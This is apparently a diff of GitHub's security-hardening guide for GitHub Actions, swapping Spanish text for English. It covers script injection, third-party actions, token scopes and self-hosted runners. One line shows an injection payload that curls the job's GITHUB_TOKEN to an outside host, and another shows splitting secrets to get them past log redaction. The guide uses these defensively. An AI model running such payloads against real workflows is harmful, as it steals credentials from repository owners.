+### Using an intermediate environment variable -Para los scripts dentro de las lìneas, el acercamiento preferente para manejar las entradas no confiables es configurar el valor de la expresiòn en una variable de ambiente intermedia. +For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. -El siguiente ejemplo utiliza Bash para procesar el valor `github.event.pull_request.title` como una variable de ambiente: +The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: {% raw %} ``` @@ -136,24 +136,24 @@ El siguiente ejemplo utiliza Bash para procesar el valor `github.event.pull_requ ``` {% endraw %} -En este ejemplo, el script que se intenta inyectar no tuvo éxito: +In this example, the attempted script injection is unsuccessful: -![Ejemplo de inyección de script mitigada](/assets/images/help/images/example-script-injection-mitigated.png) +![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png) -Con este enfoque, el valor de la expresón {% raw %}`${{ github.event.issue.title }}`{% endraw %} se almacena en la memoria y se utiliza como una variable y no interactúa con el proceso de generación del script. Adicionalmente, considera utilizar variables de cita doble del shell para evitar la [separación de palabras](https://github.com/koalaman/shellcheck/wiki/SC2086), pero esta es solo [una de muchas](https://mywiki.wooledge.org/BashPitfalls) recomendaciones generales para escribir scripts del shell y no es específica de {% data variables.product.prodname_actions %}. +With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. -### Utilizar CodeQL para analizar tu código +### Using CodeQL to analyze your code -Para ayudarte a admnistrar el riesgo que representan los patrones peligrosos tan pronto como sea posible en el ciclo de vida de desarrollo, el Laboratorio de Seguridad de {% data variables.product.prodname_dotcom %} ha desarrollado [consultas de CodeQL](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) que los propietarios de los repositorios pueden [integrar](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) en sus mapeos de IC/DC. Para obtener más información, consulta la sección "[Acerca del escaneo de código"](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning). +To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." -Los scripts dependen actualmente de las bibliotecas de JavaScript de CodeQL, lo que significa que el repositorio analizado debe contener por lo menos un archivo de JavaScript y que CodeQL debe [configurarse para analizar este lenguaje](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed). +The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed). -- `ExpressionInjection.ql`: Cubre las inyecciones de expresiòn que se describen en este artìculo y se le considera como razonablemente preciso. Sin embargo, no realiza un rastreo de flujo de datos entre los pasos de flujo de trabajo. -- `UntrustedCheckout.ql`: Los resultados de este script necesitan de una revisiòn manual para determinar si el còdigo de una solicitud de cambios se trata realmente de forma no segura. Para obtener màs informaciòn, consulta la secciòn "[Mantener seguras tus GitHub Actions y flujos de trabajo: Prevenir solicitudes de tipo pwn](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" en el blog del Laboratorio de Seguridad de {% data variables.product.prodname_dotcom %}. +- `ExpressionInjection.ql`: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps. +- `UntrustedCheckout.ql`: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the {% data variables.product.prodname_dotcom %} Security Lab blog. -### Restringir los permisos para los tokens +### Restricting permissions for tokens -Para ayudarte a mitigar el resigo de un token expuesto, considera restringir los permisos asignados. Para obtener màs informaciòn, consulta la secciòn "[Modificar los permisos para el GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)". +To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)." {% ifversion fpt or ghec or ghae-issue-4856 %} @@ -163,51 +163,51 @@ Para ayudarte a mitigar el resigo de un token expuesto, considera restringir los {% endif %} -## Utilizar acciones de terceros +## Using third-party actions -Los jobs individuales en un flujo de trabajo pueden interactuar con (y ponerse enriesgo con) otros jobs. Por ejemplo, un job que consulta las variables de mabiente que se utilizan por otro job subsecuente, escribir archivos en un directorio compartido que el job subsecuente procesa, o aún de forma ás directa si interactúa con el conector de Docker e inspecciona a otros contenedores en ejecución y ejecuta comandos en ellos. +The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. -Esto significa que el poner en riesgo una sola acción dentro de un flujo de trabajo puede ser my significativo, ya que dicha acción en riesgo tendrá acceso a todos los secretos que configuras en tu repositorio, y podría utilizar el `GITHUB_TOKEN` para escribir en él. Por consiguiente, hay un riesgo significativo en suministrar acciones de repositorios de terceros en {% data variables.product.prodname_dotcom %}. Para obtener màs informaciòn sobre algunos de los pasos que podrìa llevar a cabo un atacante, consulta la secciòn ["Impacto potencial de un ejecutor puesto en riesgo](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)". +This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." -Puedes ayudar a mitigar este riesgo si sigues estas buenas prácticas: +You can help mitigate this risk by following these good practices: -* **Fija las acciones a un SHA de confirmación de longitud completa** +* **Pin actions to a full length commit SHA** - Fijar una acción a un SHA de confirmación de longitud completa es actualmente la única forma de utilizar una acción como un lanzamiento inmutable. Fijar las acciones a un SHA en particular ayuda a mitigar el riesgo de que un actor malinencionado agregue una puerta trasera al repositorio de la acción, ya que necesitarían generar una colisión de SHA-1 para una carga útil vlálida de un objeto de Git. + Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% ifversion ghes < 3.1 %} {% warning %} - **Advertencia:** La versión corta del SHA de confirmación no es segura y jamás debería utilizarse para especificar la referencia de Git de una acción. Debido a cómo funcionan las redes de los repositorios, cualquier usuario puede bifurcar el repositorio y cargar una confirmación creada a éste, la cual colisione con el SHA corto. Esto causa que fallen los clones subsecuentes a ese SHA, debido a que se convierte en una confirmación ambigua. Como resultado, cualquier flujo de trabajo que utilice el SHA acortado fallará de inmediato. + **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail. {% endwarning %} {% endif %} -* **Audita el código fuente de la acción** +* **Audit the source code of the action** - Asegúrate de que la acción está manejando los secretos y el contenido de tu repositorio como se espera. Por ejemplo, verifica que los secretos no se envíen a hosts no deseados, o que no se registren inadvertidamente. + Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. -* **Fija las acciones a una etiqueta únicamente si confías en el creador** +* **Pin actions to a tag only if you trust the creator** - Aunque fijar el SHA de una confirmación es la opción más segura, especificar una etiqueta es más conveniente y se utiliza ampliamente. Si te gustaría especificar una etiqueta, entonces asegúrate de que confías en los creadores de la acción. La insignia de ‘Verified creator’ en {% data variables.product.prodname_marketplace %} es una señal útil, ya que te indica que la acción viene de un equipo cuya identidad verificó {% data variables.product.prodname_dotcom %}. Nota que este acercamiento sí tiene riesgos aún si confías en el autor, ya que una etiqueta se puede mover o borrar en caso de que un actor malicioso consiga acceso al repositorio que almacena la acción. + Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} -## Reutilizar los flujos de trabajo de terceros +## Reusing third-party workflows -El mismo principio que se describió anteriormente para utilizar acciones de terceros también aplica para los flujos de trabajo de terceros. Puedes ayudar a mitigar los riesgos asociados con la reutilización de flujos de trabajo si sigues las mismas buenas prácticas que se describen anteriormente. Para obtener más información, consulta la sección "[Reutilizar flujos de trabajo](/actions/learn-github-actions/reusing-workflows)". +The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} -## Impacto potencial de un ejecutor puesto en riesgo +## Potential impact of a compromised runner -Estas secciones consideran algunos de los pasos que puede llevar a cabo un atacante si pueden ejecutar comandos malintencionados en un ejecutor de {% data variables.product.prodname_actions %}. +These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. -### Acceder a los secretos +### Accessing secrets -Los flujos de trabajo que se activan utilizando el evento `pull_request` tienen permisos de solo lectura y no tienen acceso a los secretos. Sin embargo, estos permisos difieren de varios activadores de evento, tales como `issue_comment`, `issues` y `push`, en donde el atacante podrìa intentar robar secretos de repositorios o utilizar el permiso de escritura del [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) de un job. +Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). -- Si el token o secreto se configura como una variable de ambiente, puede accederse a èl directamente a travès del ambiente utilizando `printenv`. -- Si el secreto se utiliza dierctamente en una expresiòn, el script del shell que se generò se almacenarà en el disco y se podrà acceder al èl. -- En el caso de una acción eprsonalizada, el riesgo puede variar dependiendo de cómo un programa utiliza el secreto que obtuvo del argumento: +- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. +- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. +- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: {% raw %} ``` @@ -217,68 +217,68 @@ Los flujos de trabajo que se activan utilizando el evento `pull_request` tienen ``` {% endraw %} -Aunque {% data variables.product.prodname_actions %} limpia los secretos de la memoria, los cuales no se referencien en el flujo de trabajo (o que no se incluyan en una acción), un atacante determinado podría cosechar tanto el `GITHUB_TOKEN` como cualquier secreto referenciado. +Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. -### Exfiltrar datos de un ejecutor +### Exfiltrating data from a runner -Un atacante puede exfiltrar cualquier secreto u otros datos robados del ejecutor. Para prevenir la divulgación accidental del secreto, {% data variables.product.prodname_actions %} [redacta automáticamente los secretos que se imprimen en la bitácora](/actions/reference/encrypted-secrets#accessing-your-secrets), pero este no es un límite de seguridad verdadero, ya que los secretos se pueden enviar intencionalmente a dicha bitácora. Por ejemplo, los secretos ofuscados pueden exfiltrarse utilizando `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. Adicionalmente, ya que el atacante podría ejecutar comandos arbitrarios, podrían utilizar las solicitudes de tipo HTTP para enviar secretos u otros datos del repositorio a un servidor externo. +An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. -### Robar el `GITHUB_TOKEN` del job +### Stealing the job's `GITHUB_TOKEN` -Es posible que un atacante robe el `GITHUB_TOKEN` de un job. El ejecutor de {% data variables.product.prodname_actions %} recibe automáticamente un `GITHUB_TOKEN` generado con permisos que se limitan únicamente al repositorioq ue contiene el flujo de trabajo y el token vence después de que se complete el job. Una vez que se venza, el token ya no será útil para un atacante. Para solucionar esta limitante, pueden automatizar el ataque y llevarlo acabo en fracciones de segundo llamando a un servidor que controla un atacante con el token, por ejemplo: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`. +It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`. -### Modificar el contenido de un repositorio +### Modifying the contents of a repository The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token). -## Considerar acceso entre repositorios +## Considering cross-repository access -{% data variables.product.prodname_actions %} tiene un alcance intencional para un solo repositorio por vez. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Los usuarios tienen permisos específicos para cada repositorio, así que, permitir que el `GITHUB_TOKEN` de un repositorio otorgue acceso a otro de ellos impactará el modelo de permisos de {% data variables.product.prodname_dotcom %} si no se implementa con cuidado. De forma similar, se debe tener cuidado al agregar tokens de autenticación de {% data variables.product.prodname_dotcom %} a un flujo de trabajo, ya que esto también puede afectar el modelo de permisos de {% data variables.product.prodname_dotcom %} al otorgar inadvertidamente un acceso amplio a los colaboradores. +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. -Tenemos [un plan en el itinerario de {% data variables.product.prodname_dotcom %}](https://github.com/github/roadmap/issues/74) para compatibilizar un flujo que permita acceso entre repositorios dentro de {% data variables.product.product_name %}, pero aún no es una característica compatible. Actualmente, la única forma de realizar interacciones privilegiadas entre repositorios es colocar un token de autenticación de {% data variables.product.prodname_dotcom %} o llave SSH como un secreto dentro del flujo de trabajo. Ya que muchos tipos de tokens de autenticación no permiten el acceso granular a recursos específicos, existe un riesgo significativo en el utilizar el tipo incorrecto de token, ya que puede otorgr un acceso mucho más amplio que lo que se espera. +We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. -Esta lista describe los acercamientos recomendatos para acceder alos datos de un repositorio dentro de un flujo de trabjajo, en orden descendente de preferencia: +This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: -1. **El `GITHUB_TOKEN`** - - A este token se le da el alcance, a propósito, del único repositorio que invocó el flujo de trabajo y {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}puede tener {% else %}tiene {% endif %} el mismo nivel de acceso que el de un usuario con acceso de escritura en dicho repositorio. El token se crea antes de que inicie cada job y caduca cuando dicho job finaliza. Para obtener más información, consulta "[Autenticar con el GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)". - - El `GITHUB_TOKEN` debe utilizarse cada que sea posible. -2. **Llave de despliegue del repositorio** - - Las llaves de despliegue son uno de los únicos tipos de credenciales que otorgan acceso de lectura o escritura en un solo repositorio, y pueden utilizarse para interactuar con otro repositorio dentro de un flujo de trabajo. Para obtener más información, consulta la sección "[Administrar las llaves de despliegue](/developers/overview/managing-deploy-keys#deploy-keys)". - - Nota que las llaves de despliegue solo pueden clonarse y subirse al repositorio utilizando Git, y no pueden utilizarse para interactuar con las API de REST o de GraphQL, así que puede no sean adecuadas para tus necesidades. -3. **Tokens de {% data variables.product.prodname_github_app %}** - - Las {% data variables.product.prodname_github_apps %} pueden instalarse en los repositorios seleccionados, e incluso tienen permisos granulares en los recursos dentro de ellos. Puedes crear una {% data variables.product.prodname_github_app %} interna a tu organización, instalarla en los repositorios a los que necesites tener acceso dentro de tu flujo de trabajo, y autenticarte como la instalación dentro del flujo de trabajo para acceder a esos repositorios. -4. **Tokens de acceso personal** - - Jamás debes utilizar tokens de acceso personal desde tu propia cuenta. Estos tokens otorgan acceso a todos los repositorios dentro de las organizaciones a las cuales tienes acceso, así como a los repositorios en tu cuenta de usuario. Esto otorga indirectamente un acceso amplio a todos los usuarios con acceso de escritura en el repositorio en el cual está el flujo de trabajo. Adicionalmente, si sales de una organización más adelante, los flujos de trabajo que utilicen este token fallarán inmediatamente, y depurar este problema puede ser difícil. - - Si se utiliza un token de acceso personal, debe ser uno que se haya generado para una cuenta nueva a la que solo se le haya otorgado acceso para los repositorios específicos que se requieren para el flujo de trabajo. Nota que este acercamiento no es escalable y debe evitarse para favorecer otras alternativas, tales como las llaves de despliegue. -5. **Llaves SSH en una cuenta de usuario** - - Los flujos de trabajo nunca deben utilizar las llaves SSH en una cuenta de usuario. De forma similar a los tokens de acceso personal, estas otorgan permisos de lectura/escritura a todos tus repositorios personales así como a todos los repositorios a los que tengas acceso mediante la membercía de organización. Esto otorga indirectamente un acceso amplio a todos los usuarios con acceso de escritura en el repositorio en el cual está el flujo de trabajo. Si pretendes utilizar una llave SSH porque solo necesitas llevar a cabo clonados de repositorio o subidas a éste, y no necesitas interactuar con una API pública, entonces mejor deberías utilizar llaves de despliegue individuales. +1. **The `GITHUB_TOKEN`** + - This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + - The `GITHUB_TOKEN` should be used whenever possible. +2. **Repository deploy key** + - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)." + - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. +3. **{% data variables.product.prodname_github_app %} tokens** + - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. +4. **Personal access tokens** + - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. + - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. +5. **SSH keys on a user account** + - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. -## Fortalecimiento para los ejecutores auto-hospedados +## Hardening for self-hosted runners -Los ejecutores **hospedados en {% data variables.product.prodname_dotcom %}** ejecutan código dentro de máquinas virtuales aisladas, limpias y efímeras, lo cual significa que no hay forma de poner este ambiente en riesgo de forma persistente, o de obtener acceso de otra forma a más información de la que se colocó en este ambiente durante el proceso de arranque. +**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. -Los ejecutores **auto-hospedados** eb {% data variables.product.product_name %} no tienen garantías sobre la ejecución en máquinas virtuales limpias y efímeras, y pueden estar en riesgo persistentemente debido al código no confiable en un flujo de trabajo. +**Self-hosted** runners on {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. -Como resultado, los ejecutores auto-hospedados no deberán [utilizarse casi nunca para repositorios públicos](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) en {% data variables.product.product_name %}, ya que cualquier usuario puede abrir solicitudes de extracción contra este repositorio y poner en riesgo el ambiente. Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Aunque los flujos de trabajo pueden controlar el acceso a los secretos de ambiente utilizando ambientes y revisiones requeridas, estos flujos de trabajo no se encuentran en un ambiente aislado y aún son susceptibles a los mismos riesgos cuando se ejecutan en un ejecutor auto-hospedado. +As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. -Cuando se define un ejecutor auto-hospedado a nivel de organización o de empresa, {% data variables.product.product_name %} puede programar flujos de trabajo de repositorios múltiples en el mismo ejecutor. Como consecuencia, si se pone en riesgo la seguridad de estos ambientes, se puede ocasionar un impacto amplio. Para ayudar a reducir el alcance de esta vulneración, puedes crear límites si organizas tus ejecutores auto-hospedados en grupos separados. Para obtener más información, consulta la sección "[Administrar el acceso a los ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)". +When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." -También deberás considerar el ambiente de las máquinas del ejecutor auto-hospedado: -- ¿Qué información sensible reside en la máquina configurada como el ejecutor auto-hospedado? Por ejemplo, llaves SSH privadas, tokens de acceso a la API, entre otros. -- ¿La máquina tiene acceso a la red para servicios sensibles? Por ejemplo, servicios de metadatos de Azure o de AWS. La cantidad de información sensible en este ambiente debe ser mínima, y siempre debes estar consciente de que cualquier usuario capaz de invocar flujos de trabajo tendrá acceso a este ambiente. +You should also consider the environment of the self-hosted runner machines: +- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. +- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. -Algunos clientes podrían intentar mitigar estos riesgos parcialmente implementando sistemas que destruyan al ejecutor auto-hospedado automáticamente después de cada ejecución de un job. Sin embargo, este acercamiento podría no ser tan efectivo como se pretende, ya que no hay forma de garantizar que un ejecutor auto-hospedado ejecute solamente un job. Algunos trabajos utilizarán secretos como los argumentos de la línea de comandos, los cuales puede ver otro job que se esté ejecutando en el mismo ejecutor, tal como `ps x -w`. Esto puede causar fugas de secretos. +Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. ### Planning your management strategy for self-hosted runners A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: **Centralised management:** - - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. + - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. **De-centralised management:** - - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. + - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. {% ifversion fpt or ghec or ghae-issue-4856 %} @@ -288,78 +288,80 @@ If you are using {% data variables.product.prodname_actions %} to deploy to a cl {% endif %} -## Auditar eventos de {% data variables.product.prodname_actions %} +## Auditing {% data variables.product.prodname_actions %} events -Puedes utilizar la bitácora de auditoría para monitorear las tareas administrativas en una organización. La bitácora de auditoría registra el tipo de acción, cuándo se ejecutó, y qué cuenta de usuario la realizó. +You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action. -Por ejemplo, puedes utilizar la bitácora de auditoría para rastrear el evento `org.update_actions_secret`, el cual rastrea los cambios en los secretos de la organización: ![Entradas de la bitácora de auditoría](/assets/images/help/repository/audit-log-entries.png) +For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets: + ![Audit log entries](/assets/images/help/repository/audit-log-entries.png) -Las siguientes tablas describen los eventos de {% data variables.product.prodname_actions %} que puedes encontrar en la bitácora de auditoría. Para obtener más información sobre cómo utilizar la bitácora de auditoría, consulta la sección "[Revisar la bitácora de auditoría de tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)". +The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see +"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)." {% ifversion fpt or ghec %} -### Eventos para los ambientes +### Events for environments -| Acción | Descripción | -| ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `environment.create_actions_secret` | Se activa cuando se crea un secreto en un ambiente. Para obtener más información, consulta la sección ["Secretos de ambiente](/actions/reference/environments#environment-secrets)". | -| `environment.delete` | Se activa cuando se borra un ambiente. Para obtener más información, consulta la sección "[Borrar un ambiente](/actions/reference/environments#deleting-an-environment)". | -| `environment.remove_actions_secret` | Se activa cuando se elimina a un secreto de un ambiente. Para obtener más información, consulta la sección ["Secretos de ambiente](/actions/reference/environments#environment-secrets)". | -| `environment.update_actions_secret` | Se activa cuando se actualiza a un secreto en un ambiente. Para obtener más información, consulta la sección ["Secretos de ambiente](/actions/reference/environments#environment-secrets)". | +| Action | Description +|------------------|------------------- +| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." +| `environment.remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." {% endif %} {% ifversion fpt or 